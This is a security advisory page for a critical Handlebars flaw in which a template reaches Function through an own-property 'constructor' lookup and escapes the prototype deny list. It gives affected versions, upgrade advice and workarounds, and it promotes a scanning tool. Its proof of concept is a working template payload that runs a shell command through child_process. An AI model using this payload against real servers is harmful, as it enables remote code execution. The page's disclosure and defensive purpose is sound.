critical · 9.2 Patched

Handlebars: JavaScript Injection via Own Property Check Bypass

CVE-2026-106445 · GHSA-p8wg-vrv2-v86f · published 8 Oct 2026

How serious is it

  • Severity: critical, CVSS score 9.2 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-106445?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • handlebars (npm) >= 3.0.0, <= 4.7.9

How to check

  1. Run npm ls handlebars in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade handlebars to 4.7.10 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary Handlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. ## Description `lookupProperty` trusts own properties: ```js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; } ``` Normally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects: ```js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object; ``` As a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list. ## Proof of Concept An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context: 1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\_\_proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply). ```javascript const Handlebars = require('handlebars'); // constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' + // access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' + // #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' ); const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } ); console.log(result.trim()); // output: uid=1000(node) gid=1000(node) groups=1000(node) ``` ## Workarounds Do not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data. If you are using packages like [hbs](https://www.npmjs.com/package/hbs) which set `allowProtoMethodsByDefault: true` by default, you have to update Handlebars to the latest version.

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON